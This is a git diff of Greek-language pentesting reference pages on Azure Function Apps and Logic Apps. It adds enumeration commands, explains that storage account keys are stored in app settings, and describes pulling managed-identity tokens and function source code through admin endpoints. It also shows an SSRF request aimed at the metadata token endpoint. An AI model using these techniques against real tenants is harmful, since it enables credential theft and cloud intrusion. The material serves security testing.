- Είναι δυνατό να δώσετε **πρόσβαση σε μια λειτουργία από όλο το Διαδίκτυο** χωρίς να απαιτείται καμία πιστοποίηση ή να δώσετε πρόσβαση με βάση το IAM. Αν και είναι επίσης δυνατό να περιορίσετε αυτή την πρόσβαση.
|
||||
- Είναι επίσης δυνατό να **δώσετε ή να περιορίσετε την πρόσβαση** σε μια Function App από **ένα εσωτερικό δίκτυο (VPC)**.
|
||||
@@ -44,15 +44,15 @@
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
Είναι δυνατό να ρυθμίσετε μεταβλητές περιβάλλοντος μέσα σε μια εφαρμογή, οι οποίες μπορεί να περιέχουν ευαίσθητες πληροφορίες. Επιπλέον, από προεπιλογή οι μεταβλητές env **`AzureWebJobsStorage`** και **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (μεταξύ άλλων) δημιουργούνται. Αυτές είναι ιδιαίτερα ενδιαφέρουσες γιατί **περιέχουν το κλειδί του λογαριασμού για να ελέγξετε με ΠΛΗΡΕΙΣ άδειες τον λογαριασμό storage που περιέχει τα δεδομένα της εφαρμογής**. Αυτές οι ρυθμίσεις είναι επίσης απαραίτητες για την εκτέλεση του κώδικα από τον λογαριασμό Storage.
|
||||
Είναι δυνατό να ρυθμίσετε μεταβλητές περιβάλλοντος μέσα σε μια εφαρμογή, οι οποίες μπορεί να περιέχουν ευαίσθητες πληροφορίες. Επιπλέον, από προεπιλογή οι env μεταβλητές **`AzureWebJobsStorage`** και **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (μεταξύ άλλων) δημιουργούνται. Αυτές είναι ιδιαίτερα ενδιαφέρουσες γιατί **περιέχουν το κλειδί λογαριασμού για τον έλεγχο με ΠΛΗΡΗ δικαιώματα του λογαριασμού storage που περιέχει τα δεδομένα της εφαρμογής**. Αυτές οι ρυθμίσεις είναι επίσης απαραίτητες για την εκτέλεση του κώδικα από τον Λογαριασμό Storage.
|
||||
|
||||
Αυτές οι μεταβλητές env ή παράμετροι ρύθμισης ελέγχουν επίσης πώς η Function εκτελεί τον κώδικα, για παράδειγμα αν **`WEBSITE_RUN_FROM_PACKAGE`** υπάρχει, θα υποδεικνύει το URL όπου βρίσκεται ο κώδικας της εφαρμογής.
|
||||
Αυτές οι env μεταβλητές ή παράμετροι ρύθμισης ελέγχουν επίσης πώς η Function εκτελεί τον κώδικα, για παράδειγμα αν **`WEBSITE_RUN_FROM_PACKAGE`** υπάρχει, θα υποδεικνύει το URL όπου βρίσκεται ο κώδικας της εφαρμογής.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
Μέσα στο linux sandbox ο πηγαίος κώδικας βρίσκεται στο **`/home/site/wwwroot`** στο αρχείο **`function_app.py`** (αν χρησιμοποιείται python) ο χρήστης που εκτελεί τον κώδικα είναι **`app`** (χωρίς δικαιώματα sudo).
|
||||
|
||||
Σε μια **Windows** λειτουργία που χρησιμοποιεί NodeJS, ο κώδικας βρισκόταν στο **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, το όνομα χρήστη ήταν **`mawsFnPlaceholder8_f_v4_node_20_x86`** και ήταν μέρος των **groups**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
Σε μια **Windows** function που χρησιμοποιεί NodeJS, ο κώδικας βρισκόταν στο **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, το όνομα χρήστη ήταν **`mawsFnPlaceholder8_f_v4_node_20_x86`** και ήταν μέρος των **groups**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
|
||||
### **Managed Identities & Metadata**
|
||||
|
||||
@@ -61,9 +61,9 @@
|
||||
Η **system assigned** θα είναι μια διαχειριζόμενη ταυτότητα που **μόνο η λειτουργία** που έχει ανατεθεί θα μπορεί να χρησιμοποιήσει, ενώ οι **user assigned** διαχειριζόμενες ταυτότητες είναι διαχειριζόμενες ταυτότητες που **οποιαδήποτε άλλη υπηρεσία Azure θα μπορεί να χρησιμοποιήσει**.
|
||||
|
||||
> [!NOTE]
|
||||
> Ακριβώς όπως στις [**VMs**](vms/index.html), οι Functions μπορούν να έχουν **1 system assigned** διαχειριζόμενη ταυτότητα και **πολλές user assigned**, επομένως είναι πάντα σημαντικό να προσπαθείτε να βρείτε όλες αυτές αν συμβιβάσετε τη λειτουργία γιατί μπορεί να μπορείτε να κλιμακώσετε τα δικαιώματα σε πολλές διαχειριζόμενες ταυτότητες από μόνο μία Function.
|
||||
> Ακριβώς όπως στις [**VMs**](vms/index.html), οι Functions μπορούν να έχουν **1 system assigned** διαχειριζόμενη ταυτότητα και **πολλές user assigned**, επομένως είναι πάντα σημαντικό να προσπαθείτε να βρείτε όλες αυτές αν συμβιβάσετε τη λειτουργία γιατί μπορεί να μπορείτε να κλιμακώσετε προνόμια σε πολλές διαχειριζόμενες ταυτότητες από μόνο μία Function.
|
||||
>
|
||||
> Αν δεν χρησιμοποιείται καμία διαχειριζόμενη ταυτότητα συστήματος αλλά μία ή περισσότερες διαχειριζόμενες ταυτότητες χρηστών είναι συνδεδεμένες σε μια λειτουργία, από προεπιλογή δεν θα μπορείτε να αποκτήσετε κανένα token.
|
||||
> Αν δεν χρησιμοποιείται μια διαχειριζόμενη ταυτότητα συστήματος αλλά μία ή περισσότερες διαχειριζόμενες ταυτότητες χρηστών είναι συνδεδεμένες σε μια λειτουργία, από προεπιλογή δεν θα μπορείτε να αποκτήσετε κανένα token.
|
||||
|
||||
Είναι δυνατό να χρησιμοποιήσετε τα [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) για να αποκτήσετε tokens από την προεπιλεγμένη διαχειριζόμενη ταυτότητα από το endpoint μεταδεδομένων. Ή μπορείτε να τα αποκτήσετε **χειροκίνητα** όπως εξηγείται σε:
|
||||
|
||||
@@ -74,9 +74,9 @@
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> Σημειώστε ότι δεν υπάρχουν άδειες RBAC για να δώσετε πρόσβαση σε χρήστες να καλέσουν τις λειτουργίες. Η **κλήση της λειτουργίας εξαρτάται από τον ενεργοποιητή** που επιλέχθηκε κατά τη δημιουργία και αν επιλέχθηκε ένας HTTP Trigger, μπορεί να χρειαστεί να χρησιμοποιήσετε ένα **access key**.
|
||||
> Σημειώστε ότι δεν υπάρχουν δικαιώματα RBAC για να δώσετε πρόσβαση σε χρήστες να καλέσουν τις λειτουργίες. Η **κλήση της λειτουργίας εξαρτάται από τον ενεργοποιητή** που επιλέχθηκε κατά τη δημιουργία της και αν επιλέχθηκε ένας HTTP Trigger, μπορεί να χρειαστεί να χρησιμοποιήσετε ένα **access key**.
|
||||
|
||||
Όταν δημιουργείτε ένα endpoint μέσα σε μια λειτουργία χρησιμοποιώντας έναν **HTTP trigger**, είναι δυνατό να υποδείξετε το **επίπεδο εξουσιοδότησης access key** που απαιτείται για να ενεργοποιήσετε τη λειτουργία. Διατίθενται τρεις επιλογές:
|
||||
Όταν δημιουργείτε ένα endpoint μέσα σε μια λειτουργία χρησιμοποιώντας έναν **HTTP trigger**, είναι δυνατό να υποδείξετε το **access key authorization level** που απαιτείται για να ενεργοποιήσετε τη λειτουργία. Διατίθενται τρεις επιλογές:
|
||||
|
||||
- **ANONYMOUS**: **Όλοι** μπορούν να έχουν πρόσβαση στη λειτουργία μέσω του URL.
|
||||
- **FUNCTION**: Το endpoint είναι προσβάσιμο μόνο σε χρήστες που χρησιμοποιούν ένα **function, host ή master key**.
|
||||
@@ -87,7 +87,7 @@
|
||||
- **Function Keys:** Τα κλειδιά λειτουργίας μπορεί να είναι είτε προεπιλεγμένα είτε καθορισμένα από τον χρήστη και έχουν σχεδιαστεί για να παρέχουν πρόσβαση αποκλειστικά σε **συγκεκριμένα endpoints λειτουργίας** εντός μιας Function App επιτρέποντας μια πιο λεπτομερή πρόσβαση στα endpoints.
|
||||
- **Host Keys:** Τα κλειδιά host, τα οποία μπορεί επίσης να είναι προεπιλεγμένα ή καθορισμένα από τον χρήστη, παρέχουν πρόσβαση σε **όλα τα endpoints λειτουργίας εντός μιας Function App με επίπεδο πρόσβασης FUNCTION**.
|
||||
- **Master Key:** Το master key (`_master`) χρησιμεύει ως διοικητικό κλειδί που προσφέρει αυξημένα δικαιώματα, συμπεριλαμβανομένης της πρόσβασης σε όλα τα endpoints λειτουργίας (συμπεριλαμβανομένου του επιπέδου πρόσβασης ADMIN). Αυτό το **κλειδί δεν μπορεί να ανακληθεί.**
|
||||
- **System Keys:** Τα συστήματα κλειδιά είναι **διαχειριζόμενα από συγκεκριμένες επεκτάσεις** και απαιτούνται για την πρόσβαση σε webhook endpoints που χρησιμοποιούνται από εσωτερικά στοιχεία. Παραδείγματα περιλαμβάνουν τον ενεργοποιητή Event Grid και τις Durable Functions, οι οποίες χρησιμοποιούν συστήματα κλειδιά για να αλληλεπιδρούν με τις αντίστοιχες APIs τους με ασφάλεια.
|
||||
- **System Keys:** Τα συστήματα κλειδιά είναι **διαχειριζόμενα από συγκεκριμένες επεκτάσεις** και απαιτούνται για την πρόσβαση σε webhook endpoints που χρησιμοποιούνται από εσωτερικά συστατικά. Παραδείγματα περιλαμβάνουν τον Event Grid trigger και τις Durable Functions, οι οποίες χρησιμοποιούν συστήματα κλειδιά για να αλληλεπιδρούν με τις αντίστοιχες APIs τους με ασφάλεια.
|
||||
|
||||
> [!TIP]
|
||||
> Παράδειγμα για πρόσβαση σε ένα endpoint API λειτουργίας χρησιμοποιώντας ένα κλειδί:
|
||||
@@ -96,7 +96,7 @@
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Ακριβώς όπως στις App Services, οι Functions υποστηρίζουν επίσης βασική πιστοποίηση για σύνδεση στο **SCM** και **FTP** για την ανάπτυξη κώδικα χρησιμοποιώντας ένα **όνομα χρήστη και κωδικό πρόσβασης σε ένα URL** που παρέχεται από την Azure. Περισσότερες πληροφορίες σχετικά με αυτό:
|
||||
Ακριβώς όπως στις App Services, οι Functions υποστηρίζουν επίσης βασική πιστοποίηση για σύνδεση στο **SCM** και **FTP** για την ανάπτυξη κώδικα χρησιμοποιώντας ένα **όνομα χρήστη και κωδικό πρόσβασης σε ένα URL** που παρέχεται από την Azure. Περισσότερες πληροφορίες σχετικά με αυτό σε:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
Όταν μια λειτουργία δημιουργείται από ένα αποθετήριο Github, η διαδικτυακή κονσόλα Azure επιτρέπει να **δημιουργηθεί αυτόματα ένα Github Workflow σε ένα συγκεκριμένο αποθετήριο** έτσι ώστε κάθε φορά που αυτό το αποθετήριο ενημερώνεται, ο κώδικας της λειτουργίας να ενημερώνεται. Στην πραγματικότητα, το Github Action yaml για μια python λειτουργία φαίνεται έτσι:
|
||||
Όταν μια λειτουργία δημιουργείται από ένα Github repo, η διαδικτυακή κονσόλα Azure επιτρέπει να **δημιουργηθεί αυτόματα ένα Github Workflow σε ένα συγκεκριμένο αποθετήριο** έτσι ώστε κάθε φορά που αυτό το αποθετήριο ενημερώνεται, ο κώδικας της λειτουργίας ενημερώνεται. Στην πραγματικότητα, το Github Action yaml για μια python function φαίνεται έτσι:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -199,11 +199,15 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
|
||||
### Αναπτύξεις Βασισμένες σε Κοντέινερ
|
||||
|
||||
Όλα τα σχέδια δεν επιτρέπουν την ανάπτυξη κοντέινερ, αλλά για εκείνα που το επιτρέπουν, η διαμόρφωση θα περιέχει τη διεύθυνση URL του κοντέινερ. Στην API, η ρύθμιση **`linuxFxVersion`** θα έχει κάτι σαν: `DOCKER|mcr.microsoft.com/...`, ενώ στην ιστοσελίδα κονσόλας, η διαμόρφωση θα δείχνει τις **ρυθμίσεις εικόνας**.
|
||||
Όλα τα σχέδια δεν επιτρέπουν την ανάπτυξη κοντέινερ, αλλά για εκείνα που το επιτρέπουν, η διαμόρφωση θα περιέχει τη διεύθυνση URL του κοντέινερ. Στην API, η ρύθμιση **`linuxFxVersion`** θα έχει κάτι σαν: `DOCKER|mcr.microsoft.com/...`, ενώ στην κονσόλα ιστού, η διαμόρφωση θα δείχνει τις **ρυθμίσεις εικόνας**.
|
||||
|
||||
Επιπλέον, **κανένας πηγαίος κώδικας δεν θα αποθηκευτεί στον λογαριασμό αποθήκευσης** που σχετίζεται με τη λειτουργία καθώς δεν είναι απαραίτητος.
|
||||
|
||||
## Αριθμητική
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -249,7 +253,31 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
## Ανάβαση Δικαιωμάτων
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||
Get-AzFunctionApp -ResourceGroupName <String>
|
||||
|
||||
# Displays the regions where Azure Function Apps are available for deployment.
|
||||
Get-AzFunctionAppAvailableLocation
|
||||
|
||||
# Retrieves details about Azure Function App plans in a subscription or resource group.
|
||||
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||
|
||||
# Retrieves the app settings for a specific Azure Function App.
|
||||
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Ανύψωση Δικαιωμάτων
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
|
||||
@@ -10,12 +10,12 @@ Logic Apps παρέχει έναν οπτικό σχεδιαστή για τη
|
||||
|
||||
### Examples
|
||||
|
||||
- **Αυτοματοποίηση Δεδομένων**: Logic Apps μπορεί να αυτοματοποιήσει **τη διαδικασία μεταφοράς και μετασχηματισμού δεδομένων** σε συνδυασμό με το Azure Data Factory. Αυτό είναι χρήσιμο για τη δημιουργία κλιμακούμενων και αξιόπιστων ροών δεδομένων που μεταφέρουν και μετασχηματίζουν δεδομένα μεταξύ διαφόρων αποθηκευτικών χώρων δεδομένων, όπως το Azure SQL Database και το Azure Blob Storage, βοηθώντας σε αναλύσεις και επιχειρηματική ευφυΐα.
|
||||
- **Ενσωμάτωση με Azure Functions**: Logic Apps μπορεί να λειτουργήσει παράλληλα με το Azure Functions για την ανάπτυξη **πολύπλοκων, εκδηλωτικών εφαρμογών που κλιμακώνονται όπως απαιτείται** και ενσωματώνονται απρόσκοπτα με άλλες υπηρεσίες Azure. Ένα παράδειγμα χρήσης είναι η χρήση ενός Logic App για την ενεργοποίηση μιας Azure Function σε απάντηση σε ορισμένα γεγονότα, όπως οι αλλαγές σε έναν λογαριασμό Azure Storage, επιτρέποντας τη δυναμική επεξεργασία δεδομένων.
|
||||
- **Automating Data Pipelines**: Logic Apps μπορεί να αυτοματοποιήσει **διαδικασίες μεταφοράς και μετασχηματισμού δεδομένων** σε συνδυασμό με το Azure Data Factory. Αυτό είναι χρήσιμο για τη δημιουργία κλιμακούμενων και αξιόπιστων ροών δεδομένων που μεταφέρουν και μετασχηματίζουν δεδομένα μεταξύ διαφόρων αποθηκευτικών χώρων δεδομένων, όπως το Azure SQL Database και το Azure Blob Storage, βοηθώντας σε αναλύσεις και επιχειρηματική ευφυΐα.
|
||||
- **Integrating with Azure Functions**: Logic Apps μπορεί να λειτουργήσει παράλληλα με το Azure Functions για την ανάπτυξη **πολύπλοκων, εκδηλωτικών εφαρμογών που κλιμακώνονται κατά ανάγκη** και ενσωματώνονται απρόσκοπτα με άλλες υπηρεσίες Azure. Ένα παράδειγμα χρήσης είναι η χρήση μιας Logic App για την ενεργοποίηση μιας Azure Function ως απάντηση σε ορισμένα γεγονότα, όπως οι αλλαγές σε έναν λογαριασμό Azure Storage, επιτρέποντας τη δυναμική επεξεργασία δεδομένων.
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
Είναι δυνατή η προβολή ενός LogicApp με γραφικά:
|
||||
Είναι δυνατή η προβολή μιας LogicApp με γραφικά:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -23,41 +23,267 @@ Logic Apps παρέχει έναν οπτικό σχεδιαστή για τη
|
||||
|
||||
### SSRF Protection
|
||||
|
||||
Ακόμα και αν βρείτε το **Logic App ευάλωτο σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα καθώς τα Logic Apps δεν το επιτρέπουν.
|
||||
Ακόμα και αν βρείτε την **Logic App ευάλωτη σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα καθώς οι Logic Apps δεν το επιτρέπουν.
|
||||
|
||||
Για παράδειγμα, κάτι τέτοιο δεν θα επιστρέψει το token:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Enumeration
|
||||
### Επιλογές φιλοξενίας
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
Υπάρχουν αρκετές επιλογές φιλοξενίας:
|
||||
|
||||
* **Κατανάλωση**
|
||||
- **Πολυ-ενοικιαστής**: παρέχει κοινόχρηστους υπολογιστικούς πόρους, λειτουργεί στο δημόσιο σύννεφο και ακολουθεί ένα μοντέλο τιμολόγησης ανά λειτουργία. Αυτό είναι ιδανικό για ελαφριά και οικονομικά φορτία εργασίας.
|
||||
* **Κανονικό**
|
||||
- **Σχέδιο Υπηρεσίας Ροής Εργασίας**: αφιερωμένοι υπολογιστικοί πόροι με ενσωμάτωση VNET για δικτύωση και χρεώσεις ανά περίπτωση σχεδίου υπηρεσίας ροής εργασίας. Είναι κατάλληλο για πιο απαιτητικά φορτία εργασίας που απαιτούν μεγαλύτερο έλεγχο.
|
||||
- **Περιβάλλον Υπηρεσίας Εφαρμογών V3** αφιερωμένοι υπολογιστικοί πόροι με πλήρη απομόνωση και κλιμάκωση. Επίσης, ενσωματώνεται με VNET για δικτύωση και χρησιμοποιεί ένα μοντέλο τιμολόγησης βασισμένο σε περιπτώσεις Υπηρεσίας Εφαρμογών εντός του περιβάλλοντος. Αυτό είναι ιδανικό για εφαρμογές επιπέδου επιχείρησης που χρειάζονται υψηλή απομόνωση.
|
||||
- **Υβριδικό** σχεδιασμένο για τοπική επεξεργασία και υποστήριξη πολλών σύννεφων. Επιτρέπει τη διαχείριση υπολογιστικών πόρων από τον πελάτη με τοπική πρόσβαση στο δίκτυο και χρησιμοποιεί το Kubernetes Event-Driven Autoscaling (KEDA).
|
||||
|
||||
### Αριθμητική
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
az logic workflow list --resource-group <ResourceGroupName>
|
||||
# Get info
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get Logic App config
|
||||
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
{{#endtab }}
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
# Get details of a specific Logic App workflow, including its connections and parameters
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
|
||||
|
||||
# List all runs of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get all actions within a specific run of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all versions of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details of a specific version of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all Logic Apps in the specified resource group
|
||||
az logicapp list --resource-group <ResourceGroupName>
|
||||
|
||||
# Show detailed information about a specific Logic App
|
||||
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# List all application settings for a specific Logic App
|
||||
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get Logic App config
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
# Get details of a specific Logic App workflow run action
|
||||
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
|
||||
|
||||
# Get the run history for a specific Logic App
|
||||
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
|
||||
### Λογαριασμοί Ενοποίησης
|
||||
**Λογαριασμοί Ενοποίησης**, είναι μια δυνατότητα των Azure Logic Apps. Οι Λογαριασμοί Ενοποίησης χρησιμοποιούνται για να διευκολύνουν τις ενοποιήσεις σε επίπεδο επιχείρησης, επιτρέποντας προηγμένες δυνατότητες B2B, όπως EDI, AS2 και διαχείριση XML schema. Οι Λογαριασμοί Ενοποίησης είναι ένα δοχείο στο Azure που αποθηκεύει τα παρακάτω αντικείμενα που χρησιμοποιούνται για τα Logic Apps:
|
||||
|
||||
* Σχήματα: Διαχείριση XML σχημάτων για την επικύρωση και επεξεργασία μηνυμάτων στον λογαριασμό ενοποίησης σας.
|
||||
* Χάρτες: Ρύθμιση μετασχηματισμών βασισμένων σε XSLT για τη μετατροπή μορφών δεδομένων μέσα στις ροές εργασίας ενοποίησης σας.
|
||||
* Συγκροτήματα: Διαχείριση συγκροτημάτων λογαριασμού ενοποίησης για την απλοποίηση της λογικής και της επεξεργασίας δεδομένων.
|
||||
* Πιστοποιητικά: Διαχείριση πιστοποιητικών για την κρυπτογράφηση και την υπογραφή μηνυμάτων, εξασφαλίζοντας ασφαλή επικοινωνία.
|
||||
* Εταίροι: Διαχείριση πληροφοριών εμπορικών εταίρων για B2B συναλλαγές, επιτρέποντας απρόσκοπτες ενοποιήσεις.
|
||||
* Συμφωνίες: Ρύθμιση κανόνων και ρυθμίσεων για την ανταλλαγή δεδομένων με εμπορικούς εταίρους (π.χ., EDI, AS2).
|
||||
* Ρυθμίσεις Παρτίδας: Διαχείριση ρυθμίσεων επεξεργασίας παρτίδων για την ομαδοποίηση και την αποτελεσματική επεξεργασία μηνυμάτων.
|
||||
* RosettaNet PIP: Ρύθμιση διαδικασιών διεπαφής εταίρων RosettaNet (PIPs) για τον εκσυγχρονισμό της B2B επικοινωνίας.
|
||||
|
||||
#### Αρίθμηση
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Integration account
|
||||
az logic integration-account list --resource-group <resource-group-name>
|
||||
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
|
||||
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
|
||||
|
||||
# Batch-configuration
|
||||
az logic integration-account batch-configuration list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name>
|
||||
|
||||
az logic integration-account batch-configuration show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name> \
|
||||
--batch-configuration-name <batch-configuration-name>
|
||||
|
||||
# Map
|
||||
az logic integration-account map list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account map show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--map-name <map-name>
|
||||
|
||||
# Partner
|
||||
az logic integration-account partner list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account partner show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <partner-name>
|
||||
|
||||
# Session
|
||||
az logic integration-account session list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account session show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <session-name>
|
||||
|
||||
# Assembly
|
||||
# Session
|
||||
az logic integration-account assembly list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account assembly show \
|
||||
